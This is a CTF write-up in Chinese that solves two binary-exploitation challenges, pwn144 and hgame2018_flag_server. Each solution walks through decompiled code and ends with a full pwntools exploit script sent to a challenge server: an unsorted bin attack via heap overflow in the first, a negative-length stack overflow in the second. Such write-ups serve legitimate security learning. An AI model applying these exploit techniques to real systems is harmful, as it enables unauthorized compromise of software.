1、pwn144分析



是一个堆题的菜单,在ida里面仔细读读
main函数,ida有点老了嘿嘿,将就看吧
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax@2
char buf; // [sp+0h] [bp-10h]@2
__int64 v5; // [sp+8h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);//栈溢出保护
init(*(_QWORD *)&argc, argv, envp);
logo();
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
v3 = atoi(&buf);
if ( v3 != 3 )
break;
delete_heap(&buf, &buf);//选3
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);//选4
if ( v3 == 114514 )
{
if ( (unsigned __int64)magic <= 0x1BF52 )//这里比较特别如果我们能控制v3的值并且让magic>0x1BF52就可以执行后门函数
{
puts("So sad !");
}
else
{
puts("Congrt !");
TaT("Congrt !", &buf);
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap(&buf, &buf);//选1
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap(&buf, &buf);//选2
}
}
}
这里我们发现程序有后门函数

地址是tat=0x400D6D
magic在哪里呢?

在bass段,地址是magic=0x6020A0
create heap函数
__int64 create_heap()
{
signed int i; // [sp+4h] [bp-1Ch]@1
size_t size; // [sp+8h] [bp-18h]@3
char buf; // [sp+10h] [bp-10h]@3
__int64 v4; // [sp+18h] [bp-8h]@1
v4 = *MK_FP(__FS__, 40LL);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return *MK_FP(__FS__, 40LL) ^ v4;
}
}
return *MK_FP(__FS__, 40LL) ^ v4;
}
就是创建堆的函数,看看read_input函数
ssize_t __fastcall read_input(void *a1, size_t a2)
{
ssize_t result; // rax@1
result = read(0, a1, a2);
if ( (signed int)result <= 0 )
{
puts("Error");
_exit(-1);
}
return result;
}

heaparrray[10]这个数组也是存在bass段哦
edit
__int64 edit_heap()
{
size_t v0; // ST08_8@6
int v2; // [sp+4h] [bp-1Ch]@1
char buf; // [sp+14h] [bp-Ch]@1
__int64 v4; // [sp+18h] [bp-8h]@1
v4 = *MK_FP(__FS__, 40LL);
printf("Index :");
read(0, &buf, 4uLL);
v2 = atoi(&buf);
if ( v2 < 0 || v2 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v2] )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of heap : ", &buf);//看啊,这里,他没有保护欸,堆溢出漏洞哦!
read_input(heaparray[v2], v0);
puts("Done !");
}
else
{
puts("No such heap !");
}
return *MK_FP(__FS__, 40LL) ^ v4;
}
edit_heap存在堆溢出漏洞

delete_heap最后free指针置零没什么问题
现在就是用什么攻击方法的问题
首先有一个后门函数和一个跳转到后门的特殊点magic>0x1BF52
然后在edit_heap里有堆溢出漏洞
这里学到一个攻击手法叫unsorted bin attack,先来看看利用原理(一下内容摘自ctf-wili和kimi)
Unsorted Bin Attack 是一种针对 Glibc 堆管理机制的攻击方式,主要利用了 Glibc 中的 Unsorted Bin 特性。
1. Unsorted Bin 的基本概念
Unsorted Bin 是 Glibc 堆管理中的一个特殊区域,用于存储那些尚未被分类的自由块(free chunk)。当一个堆块被释放时,如果它不属于 fastbin 且不与 top chunk 相邻,它会被放入 Unsorted Bin 中。
2. Unsorted Bin Attack 的原理
Unsorted Bin Attack 的核心思想是通过控制 Unsorted Bin 中的 bk 指针,将一个伪造的堆块插入到目标地址,从而修改目标地址的值。
攻击步骤
分配堆块:首先分配一个堆块,然后释放它,使其进入 Unsorted Bin。
修改 bk 指针:通过某种漏洞(如堆溢出或 UAF),我们这道题就是要利用堆溢出,修改该堆块的 bk 指针,使其指向目标地址减去一定偏移量(通常是 16 字节)。
触发分配:再次调用 malloc,程序会从 Unsorted Bin 中取出堆块。此时,目标地址会被修改为 Unsorted Bin 的头部地址。
3. Unsorted Bin Attack 的应用场景
Unsorted Bin Attack 主要有两个应用场景:
泄露地址:通过将堆块的 bk 指针指向某个地址,可以在堆块被分配时泄露该地址的值。
修改任意地址的值:将堆块的 bk 指针指向目标地址减去 16 字节,可以在堆块被分配时修改目标地址的值。
4. 应用方式
以下是一个实际的攻击流程示例:
分配两个堆块,避免在释放时与 top chunk 合并。
释放第一个堆块,使其进入 Unsorted Bin。
利用漏洞修改第一个堆块的 bk 指针,使其指向目标地址减去 16 字节。
再次调用 malloc,程序会从 Unsorted Bin 中取出堆块,目标地址的值被修改为 Unsorted Bin 的头部地址。
下面就开始实操
2、pwn144实操
这里搜了一点堆块设置的知识:
0x80 大小的堆块
避免 fastbin:在 Glibc 的堆管理中,小于 0x80 的堆块会被放入 fastbin 中。fastbin 是一种快速分配和释放小块内存的机制,但它对堆块的管理相对简单,不适合复杂的堆攻击。通过设置堆块大小为 0x80,可以确保这些堆块不会进入 fastbin,而是进入普通的堆管理区域(如 unsorted bin 或 small bin)。
对齐和边界:0x80 是一个常见的堆块大小,它在内存对齐和边界检查方面表现良好。在 64 位系统中,堆块的大小通常需要是 16 字节的倍数,0x80 满足这个要求。
0x20 大小的堆块
fastbin 的边界:0x20 是一个常见的 fastbin 大小。在 Glibc 的堆管理中,fastbin 的大小范围是从 0x20 到 0x80(不包括 0x80)。通过设置堆块大小为 0x20,可以确保这些堆块进入 fastbin,从而利用 fastbin 的特性进行攻击。
控制堆块的合并:在某些情况下,设置堆块大小为 0x20 可以避免堆块与 top chunk 合并,从而更好地控制堆的布局。
from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28211)
def creat_heap(size,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Size of Heap :",str(size))
p.sendlineafter(":",content)
def edit_heap(index,size,content):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Size of Heap :",str(size))
p.sendlineafter(":",content)
def delete_heap(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))
creat_heap(0x80,b'aaaa')#0
creat_heap(0x20,b'bbbb')#1
creat_heap(0x80,b'cccc')#2
creat_heap(0x20,b'dddd')#3
delete_heap(2)
delete_heap(0)#be top_chunk
magic=0x6020a0
fd=0#fake
bk=magic-0x10
payload=b'a'*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk)#0x91是实际分配的内存可以通过调试看到
edit_heap(1,0x50,payload)
creat_heap(0x80,b'eeee')
p.recvuntil(":")
p.sendline(str(114514))
p.interactive()

3、hgame2018_flag_server分析


32位canary和NX,运行一下,是个登录的程序

main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax@13
int result; // eax@20
int v5; // ecx@20
int v6; // [sp+8h] [bp-60h]@6
int v7; // [sp+Ch] [bp-5Ch]@13
int i; // [sp+10h] [bp-58h]@1
int v9; // [sp+14h] [bp-54h]@13
char s1; // [sp+18h] [bp-50h]@12
int v11; // [sp+58h] [bp-10h]@1
int v12; // [sp+5Ch] [bp-Ch]@1
v12 = *MK_FP(__GS__, 20);
init();
v11 = 0;
printf("loading");
for ( i = 0; i >= 0; ++i )
{
if ( !(i % 100000000) )
putchar(46);
}
puts("OK\n");
v6 = 0;
printf("your username length: ");
__isoc99_scanf("%d", &v6);
while ( v6 > 63 || !v6 )
{
puts("sorry,your username is too LOOOOOOOOONG~~\nplease input again.\n");
printf("your username length: ");
while ( getchar() != 10 )
;
__isoc99_scanf("%d", &v6);
}
puts("whats your username?");
read_n(&s1, v6);//这个函数可以关注一下
//如果用户名是 "admin",程序会:用当前时间 time(0) 作为种子生成随机数 v9 = rand()。要求你输入一个 key,必须等于这个不可预测的随机数。如果输入不对,直接退出。
if ( !strcmp(&s1, "admin") )
{
v3 = time(0);
srand(v3);
v9 = rand();
printf("hello admin, please input the key: ");
__isoc99_scanf("%u", &v7);
if ( v7 != v9 )
{
puts("noooo, you are not the TRUE admin!!!\nwho are you???");
exit(0);
}
v11 = 1;
}
printf("hello %s, here is what I want to tell you:", &s1);
if ( v11 )
system("cat flag");//这里就是后门了
else
puts("澶氬枬鐑按");
result = 0;
v5 = *MK_FP(__GS__, 20) ^ v12;
return result;
}
read_n:
int __cdecl read_n(int a1, int a2)
{
int i; // [sp+Ch] [bp-Ch]@1
for ( i = 0; i != a2; ++i )
{
if ( read(0, (void *)(a1 + i), 1u) != 1 )
exit(-1);
if ( *(_BYTE *)(a1 + i) == 10 )
{
*(_BYTE *)(a1 + i) = 0;
return i;
}
}
return i;
}
所以我们最后想拿flag得修改v11,怎么修改呢,如果v6=-1的话就会无限循环注意这个函数
read_n(&s1, v6);而s1距离v11是0x40,我们输入0x40以后就可以修改v11

4、hgame2018_flag_server拿个flag
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26398)
p.sendlineafter("your username length:",str(-1))
payload=b'a'*(0x40)+p32(1)
p.recvuntil("whats your username?")
p.sendline(payload)
p.interactive()
~
~











